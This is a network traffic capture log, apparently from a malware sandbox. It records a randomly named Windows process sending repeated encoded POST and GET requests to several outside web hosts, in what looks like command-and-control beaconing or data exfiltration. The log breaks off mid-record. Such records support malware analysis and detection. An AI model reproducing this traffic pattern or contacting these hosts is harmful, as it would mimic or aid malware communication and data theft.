Jul 3, 2024 16:40:01.074760914 CEST	1857	OUT	POST /ktbm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.kosherphonestore.com Origin: http://www.kosherphonestore.com Referer: http://www.kosherphonestore.com/ktbm/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 51 41 36 55 59 46 54 2b 5a 68 62 66 72 71 48 46 6e 69 4b 59 4d 65 50 72 6b 76 56 7a 64 55 75 59 69 75 34 63 53 36 35 6c 77 62 34 6b 48 47 63 2f 52 64 61 6d 35 33 44 61 78 43 33 67 33 76 44 49 76 6c 47 4f 78 61 47 2f 6c 78 66 77 33 4c 61 6d 62 48 53 49 57 39 32 63 44 63 2f 42 31 66 77 43 77 61 32 37 67 52 2b 5a 52 55 6a 31 35 56 32 56 49 56 67 54 49 6f 52 47 68 65 68 38 6b 38 4c 4b 4f 76 4c 78 78 39 6d 37 59 6d 77 69 35 72 59 77 49 53 73 4c 61 68 6c 75 38 76 42 6f 45 74 65 67 42 36 78 6b 5a 61 38 6c 6f 75 30 43 51 33 39 68 32 55 35 67 39 76 67 39 48 73 4d 70 7a 38 38 63 77 34 32 74 74 42 79 79 37 58 4c 6d 63 4f 63 74 30 65 36 56 66 38 51 58 45 46 43 59 72 4c 4a 59 32 57 55 33 52 57 59 52 59 50 51 70 67 51 53 34 6d 4e 52 39 67 78 6b 56 72 4c 39 4b 4e 74 4c 49 74 73 4c 56 45 65 36 66 34 6b 7a 43 4d 6e 4a 61 53 43 37 79 4b 72 39 4f 72 47 61 43 54 42 69 49 50 65 6d 5a 41 34 6e 55 4e 61 42 7a 63 46 58 44 6c 6b 33 65 62 4b 61 68 55 73 5a 6c 70 7a 33 50 4c 43 44 66 69 77 66 37 69 54 70 6f 67 [TRUNCATED] Data Ascii: k06T=QA6UYFT+ZhbfrqHFniKYMePrkvVzdUuYiu4cS65lwb4kHGc/Rdam53DaxC3g3vDIvlGOxaG/lxfw3LambHSIW92cDc/B1fwCwa27gR+ZRUj15V2VIVgTIoRGheh8k8LKOvLxx9m7Ymwi5rYwISsLahlu8vBoEtegB6xkZa8lou0CQ39h2U5g9vg9HsMpz88cw42ttByy7XLmcOct0e6Vf8QXEFCYrLJY2WU3RWYRYPQpgQS4mNR9gxkVrL9KNtLItsLVEe6f4kzCMnJaSC7yKr9OrGaCTBiIPemZA4nUNaBzcFXDlk3ebKahUsZlpz3PLCDfiwf7iTpogsmfWfa60vOSftLtiA31KAMUbmrtPQFaz5L+FDd0SVsE43i6ufIDay2l09HwX50iwuYF/Vh9m6vwwZv3CVt6LtymsWfOaGin319/H+01B4v093f6H1J/X1OB+4DY40X5GRgi6Sqfk6AwTKpcVmmwU+9n6X5YrBnArbKUU/xML3X7HFvcIcO6JvMiAVAZlmRZV/EHuyU7FZ6lBuriWQe8GvFUOfZURMKTOcqJddAuJ1F+Adjr6ynYTGtEDo62VsN+Y+Kcin6tWkaXr0mYEKP1vyR44B+Bzoseis/clzDdJslbHdt1943tqzXErhcKu254Bx7LbVKcuSZ1FJCuZGwASvlQkOOmo2pYGM1Os5Lhy0Agh/QYmF7gK0qpTU4Q7Bnx0EEtLatmuky0MFc+x/6FDev0IovW5uvabtV9gO+AEDU2X9P1IxpxcqjPb40TGNqF/E+0pDYrv9yUbWE1lz6b0mANzH5udFGAqunl8soZFDrgUFzrmx6qUmOOENIIjtN0vmz6MI7wSaO5H1LuRWBRnpyirVSoK+Euvkq/Mfos4b5VZDJQJanHbQiuDjC8OqtGXZJNYv+CDjuAGKSMVj0EqFoNAQ+TR/shYkwjjkHPuNDrlmVZnrWssOrwER7ph7cM7LY9cFLEPnvgBInSTfxZSbiGXPSrcBePstO [TRUNCATED]
Jul 3, 2024 16:40:01.555587053 CEST	1218	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 14:40:01 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.kosherphonestore.com/ktbm/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 0cce8e23151f53ecd70f87c9e8776419-bos-edge1 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	84.32.84.130	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:03.615106106 CEST	552	OUT	GET /ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkjiz3Hv37r9oCCf0bTqtzy4xv37G1SgBfWJK+jN8eMH36uauFGPXBOtm3yBDVUMLLFQh/MQ7JKdaw==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.kosherphonestore.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:40:04.078109026 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 14:40:04 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkjiz3Hv37r9oCCf0bTqtzy4xv37G1SgBfWJK+jN8eMH36uauFGPXBOtm3yBDVUMLLFQh/MQ7JKdaw==&rz=LZsl-bkp-XfXeRLp platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 60824575b80575562073a24d898237c4-bos-edge1 x-hcdn-cache-status: MISS x-hcdn-upstream-rt: 0.009 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 styl
Jul 3, 2024 16:40:04.078440905 CEST	137	IN	Data Raw: 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 Data Ascii: e="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	43.155.26.241	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:09.587575912 CEST	799	OUT	POST /kwl6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.cwgehkk.store Origin: http://www.cwgehkk.store Referer: http://www.cwgehkk.store/kwl6/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 58 34 63 6e 73 31 2b 59 73 37 47 35 33 4f 38 77 56 75 6a 76 47 52 4a 37 34 77 31 66 59 6d 72 70 66 43 78 4a 73 47 53 46 42 38 4c 56 66 72 61 55 4a 45 57 76 50 72 38 6d 38 67 42 61 43 63 44 56 4f 54 64 62 78 38 66 73 42 72 54 6b 69 2f 4f 52 39 68 48 44 63 4d 73 6d 64 4e 63 4c 41 4e 4f 42 65 6b 73 64 51 4f 51 58 6b 64 58 57 55 41 56 4f 7a 78 6e 45 2f 4d 51 79 43 59 4f 72 43 34 43 79 65 78 4d 58 64 64 67 75 6a 36 52 4c 48 72 66 55 6d 4c 48 72 61 66 56 2b 65 2b 4b 66 68 55 2b 52 7a 65 6d 73 44 42 5a 39 5a 55 4f 47 4d 78 56 76 55 61 5a 44 45 63 53 4f 6b 4c 51 69 5a 52 66 4a 6e 65 37 37 50 6e 49 3d Data Ascii: k06T=X4cns1+Ys7G53O8wVujvGRJ74w1fYmrpfCxJsGSFB8LVfraUJEWvPr8m8gBaCcDVOTdbx8fsBrTki/OR9hHDcMsmdNcLANOBeksdQOQXkdXWUAVOzxnE/MQyCYOrC4CyexMXddguj6RLHrfUmLHrafV+e+KfhU+RzemsDBZ9ZUOGMxVvUaZDEcSOkLQiZRfJne77PnI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	43.155.26.241	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:12.120249987 CEST	819	OUT	POST /kwl6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.cwgehkk.store Origin: http://www.cwgehkk.store Referer: http://www.cwgehkk.store/kwl6/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 58 34 63 6e 73 31 2b 59 73 37 47 35 32 75 73 77 51 50 6a 76 52 68 4a 34 33 51 31 66 52 47 71 67 66 43 39 4a 73 43 6a 65 43 4f 76 56 63 4c 71 55 49 42 69 76 4f 72 38 6d 79 41 42 66 47 63 43 62 4f 54 51 37 78 39 7a 73 42 72 33 6b 69 2b 2b 52 38 57 72 41 64 63 73 34 53 74 63 4a 4f 74 4f 42 65 6b 73 64 51 4f 30 74 6b 64 50 57 55 56 64 4f 77 51 6e 44 68 63 52 41 42 59 4f 72 54 6f 43 32 65 78 4d 68 64 63 38 41 6a 2f 56 4c 48 75 37 55 6e 66 54 6f 56 66 56 30 52 65 4c 53 74 6c 50 47 35 73 6d 65 50 79 51 42 47 46 2b 61 4a 48 34 46 4f 34 52 72 58 38 2b 32 30 59 59 56 49 68 2b 67 39 39 72 4c 52 77 63 65 51 69 62 31 6f 42 6f 43 45 50 73 61 6a 33 78 78 4c 71 6e 76 Data Ascii: k06T=X4cns1+Ys7G52uswQPjvRhJ43Q1fRGqgfC9JsCjeCOvVcLqUIBivOr8myABfGcCbOTQ7x9zsBr3ki++R8WrAdcs4StcJOtOBeksdQO0tkdPWUVdOwQnDhcRABYOrToC2exMhdc8Aj/VLHu7UnfToVfV0ReLStlPG5smePyQBGF+aJH4FO4RrX8+20YYVIh+g99rLRwceQib1oBoCEPsaj3xxLqnv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	43.155.26.241	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:14.669884920 CEST	1836	OUT	POST /kwl6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.cwgehkk.store Origin: http://www.cwgehkk.store Referer: http://www.cwgehkk.store/kwl6/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 58 34 63 6e 73 31 2b 59 73 37 47 35 32 75 73 77 51 50 6a 76 52 68 4a 34 33 51 31 66 52 47 71 67 66 43 39 4a 73 43 6a 65 43 4f 6e 56 63 36 4b 55 49 6d 4f 76 63 37 38 6d 36 67 42 65 47 63 43 57 4f 54 59 6b 78 39 76 57 42 74 7a 6b 6a 59 43 52 74 58 72 41 58 63 73 34 4b 64 63 49 41 4e 50 62 65 6b 38 5a 51 4f 6b 74 6b 64 50 57 55 53 74 4f 6b 78 6e 44 6a 63 51 79 43 59 4f 5a 43 34 43 4b 65 78 55 66 64 64 49 2b 6a 72 68 4c 48 4f 72 55 68 70 76 6f 4b 76 56 79 51 65 4b 42 74 6c 43 42 35 73 37 6c 50 78 4d 2f 47 43 4b 61 4c 44 46 73 55 61 64 39 41 64 79 42 36 37 41 72 4b 6d 76 45 32 76 37 73 4f 6a 4d 45 51 79 50 6f 76 48 4a 46 4e 4d 5a 47 34 6d 4a 52 46 2b 65 36 37 6e 46 32 47 6e 6a 77 66 4e 43 73 61 68 32 50 62 66 59 75 4e 4c 55 70 34 6b 2b 47 75 61 46 59 71 4b 2b 57 32 57 37 32 62 74 50 38 6b 72 69 70 2b 74 33 56 37 75 61 45 56 56 56 45 74 48 46 4c 78 54 67 2f 6c 56 65 61 53 42 65 6a 79 6d 63 73 52 53 42 49 41 32 6d 30 67 36 6c 34 5a 56 44 6e 4e 74 31 63 52 41 44 65 52 79 4b 6e 34 76 4c 63 5a [TRUNCATED] Data Ascii: k06T=X4cns1+Ys7G52uswQPjvRhJ43Q1fRGqgfC9JsCjeCOnVc6KUImOvc78m6gBeGcCWOTYkx9vWBtzkjYCRtXrAXcs4KdcIANPbek8ZQOktkdPWUStOkxnDjcQyCYOZC4CKexUfddI+jrhLHOrUhpvoKvVyQeKBtlCB5s7lPxM/GCKaLDFsUad9AdyB67ArKmvE2v7sOjMEQyPovHJFNMZG4mJRF+e67nF2GnjwfNCsah2PbfYuNLUp4k+GuaFYqK+W2W72btP8krip+t3V7uaEVVVEtHFLxTg/lVeaSBejymcsRSBIA2m0g6l4ZVDnNt1cRADeRyKn4vLcZb+C/ycaFNntM+IbAB7jyh7UiBqlvX+g01d4MEboE8j42B4b0ezpVsU0IlnLHWhaO1bXS5piV8jOnmhmHUWSJ2EizhJcOaKr5De9+cfEXdSF0hiAEAxaIMuV40p3Zow1jgdCMmObQxvR8ea1+q5JEWUqiw9AqxeEm+umyN3ai4BYd0duRiTz/VewCYYvqXR6vcMqUvDhyyjz+BnknlzTidBSa6mFcab45zQQdyv/Rf7f5RcljH9MqgjUV/VrclrCkTFCwZ+plwMNePRSQfVmVMyuWWlwzMAcGHfEbPMOx9HXXTP+i3Kv4t22MahR3WPldiTdiR6Am1UoDBpZGpiQEYyhlv6X0epcAIWj5Bw4CCjXrSMBmMCJdpLtjV/gULDft7oxosfYDA6HV6x+o+nHtLchobJFTKQ/hxHrDLAn4IJ5yGmOW+dV4uhD/o4JXEd335m6B082hR/05w8foaW89HY9tKHl0JSv0PIp2oZONBlZgTmWv2o2I7Aom+SEUyaMPUJ6y/Xqo2mwhs0NU7+kiqCv2SqGylA/sY6o2P6TGI2FdVpNOtZQ0h4ZtrwoUU64Zpu4EtpuneJthNk8VT+acnMp6rkvDjgzPP/XHb+/GogUP4Ix8NglXOnFZOSFc2dIj+40iKefd//Gn3pxcUSqNDmsUYcXkbnizOY [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	43.155.26.241	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:17.198282957 CEST	545	OUT	GET /kwl6/?k06T=a60HvCvUhLiFhuUSc8WrKARCzXFsQAvffUZBz2uIU9nHYJX4NGLIPasF9EYqD4O1NmBy69LXG4mImYvzxGn1S/csb+glCs2OenUaXJQynPXKXRJsgC/umNodRP7idNP7JA==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.cwgehkk.store Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	3.33.130.190	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:43.629817009 CEST	805	OUT	POST /nml2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mybodyradar.net Origin: http://www.mybodyradar.net Referer: http://www.mybodyradar.net/nml2/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 4b 4e 41 6b 76 50 71 4a 6d 33 51 70 7a 79 6d 65 43 30 42 58 51 52 53 4d 31 34 56 39 6c 32 54 37 77 6c 64 51 2b 38 62 6c 62 6a 54 4f 78 72 62 70 71 45 66 57 69 67 58 6c 75 50 68 71 76 30 46 6a 34 6b 39 65 70 46 36 33 51 76 73 4a 50 74 58 72 6c 4c 47 6a 6c 41 41 5a 49 50 64 32 5a 50 69 74 37 42 6c 67 2f 79 59 34 75 47 63 73 45 41 70 4e 73 37 6a 4f 74 76 69 69 2b 66 65 61 53 66 6f 63 33 70 59 45 4a 76 62 71 76 32 41 75 61 2f 45 77 33 4b 31 55 33 46 74 67 48 76 45 4c 41 50 71 70 52 55 78 79 55 34 54 4f 62 42 4c 65 71 37 75 33 59 44 6b 6d 4d 70 78 63 75 33 77 2b 2f 6e 71 51 41 65 5a 31 65 61 30 3d Data Ascii: k06T=KNAkvPqJm3QpzymeC0BXQRSM14V9l2T7wldQ+8blbjTOxrbpqEfWigXluPhqv0Fj4k9epF63QvsJPtXrlLGjlAAZIPd2ZPit7Blg/yY4uGcsEApNs7jOtvii+feaSfoc3pYEJvbqv2Aua/Ew3K1U3FtgHvELAPqpRUxyU4TObBLeq7u3YDkmMpxcu3w+/nqQAeZ1ea0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	3.33.130.190	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:46.168713093 CEST	825	OUT	POST /nml2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mybodyradar.net Origin: http://www.mybodyradar.net Referer: http://www.mybodyradar.net/nml2/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 4b 4e 41 6b 76 50 71 4a 6d 33 51 70 38 7a 57 65 45 58 70 58 46 42 53 50 35 59 56 39 76 57 54 2f 77 6c 52 51 2b 39 76 54 62 56 6a 4f 78 4c 72 70 37 31 66 57 6a 67 58 6c 36 2f 68 6a 68 55 46 73 34 6b 77 6a 70 42 36 33 51 76 34 4a 50 74 48 72 6d 38 53 6b 33 67 41 66 44 76 64 77 58 76 69 74 37 42 6c 67 2f 79 63 47 75 47 55 73 45 77 5a 4e 74 65 50 4e 6a 50 69 74 35 66 65 61 57 66 6f 59 33 70 5a 52 4a 72 62 4d 76 31 34 75 61 2b 30 77 33 62 31 58 39 46 74 69 61 2f 46 5a 4f 2f 4c 5a 4a 6e 68 61 65 4b 43 4f 43 52 58 54 69 74 44 64 43 68 73 4f 66 4a 64 6b 2b 6b 34 4a 75 58 4c 35 61 39 4a 46 41 4e 6a 69 44 79 51 36 78 73 66 76 74 6f 33 4b 45 35 79 48 56 30 78 32 Data Ascii: k06T=KNAkvPqJm3Qp8zWeEXpXFBSP5YV9vWT/wlRQ+9vTbVjOxLrp71fWjgXl6/hjhUFs4kwjpB63Qv4JPtHrm8Sk3gAfDvdwXvit7Blg/ycGuGUsEwZNtePNjPit5feaWfoY3pZRJrbMv14ua+0w3b1X9Ftia/FZO/LZJnhaeKCOCRXTitDdChsOfJdk+k4JuXL5a9JFANjiDyQ6xsfvto3KE5yHV0x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	3.33.130.190	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:48.709886074 CEST	1842	OUT	POST /nml2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mybodyradar.net Origin: http://www.mybodyradar.net Referer: http://www.mybodyradar.net/nml2/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 4b 4e 41 6b 76 50 71 4a 6d 33 51 70 38 7a 57 65 45 58 70 58 46 42 53 50 35 59 56 39 76 57 54 2f 77 6c 52 51 2b 39 76 54 62 56 72 4f 78 59 6a 70 70 6d 48 57 35 67 58 6c 35 2f 68 75 68 55 46 78 34 6b 34 6e 70 42 2b 4e 51 73 41 4a 4f 4c 4c 72 78 2b 71 6b 75 51 41 66 4d 50 64 78 5a 50 69 43 37 42 56 73 2f 78 30 47 75 47 55 73 45 79 42 4e 6f 37 6a 4e 75 76 69 69 2b 66 65 57 53 66 6f 77 33 70 51 71 4a 72 66 36 76 45 59 75 61 65 6b 77 78 70 4e 58 78 46 74 73 4a 50 45 63 4f 2f 48 47 4a 6e 39 77 65 4c 32 30 43 54 58 54 79 36 2b 4c 51 78 67 45 49 36 52 75 77 57 41 71 32 6e 4c 55 5a 74 34 7a 42 66 79 59 49 6a 77 4f 2b 73 62 57 6a 35 69 6d 54 4e 36 45 51 43 51 48 64 59 37 71 48 31 69 44 33 68 51 70 6f 46 41 4f 6d 4a 56 49 4b 4e 37 56 41 50 4f 4c 56 79 48 4a 4d 5a 45 54 4e 49 43 39 64 69 68 58 4c 39 44 68 4c 59 30 5a 55 38 51 36 6d 6e 56 72 56 6d 4d 37 31 5a 33 6a 6b 52 6c 7a 4f 4d 76 66 79 74 56 62 61 34 35 65 75 65 70 41 30 57 33 6f 67 42 79 67 2f 59 63 53 6a 4f 51 50 54 50 38 54 6b 56 61 55 76 [TRUNCATED] Data Ascii: 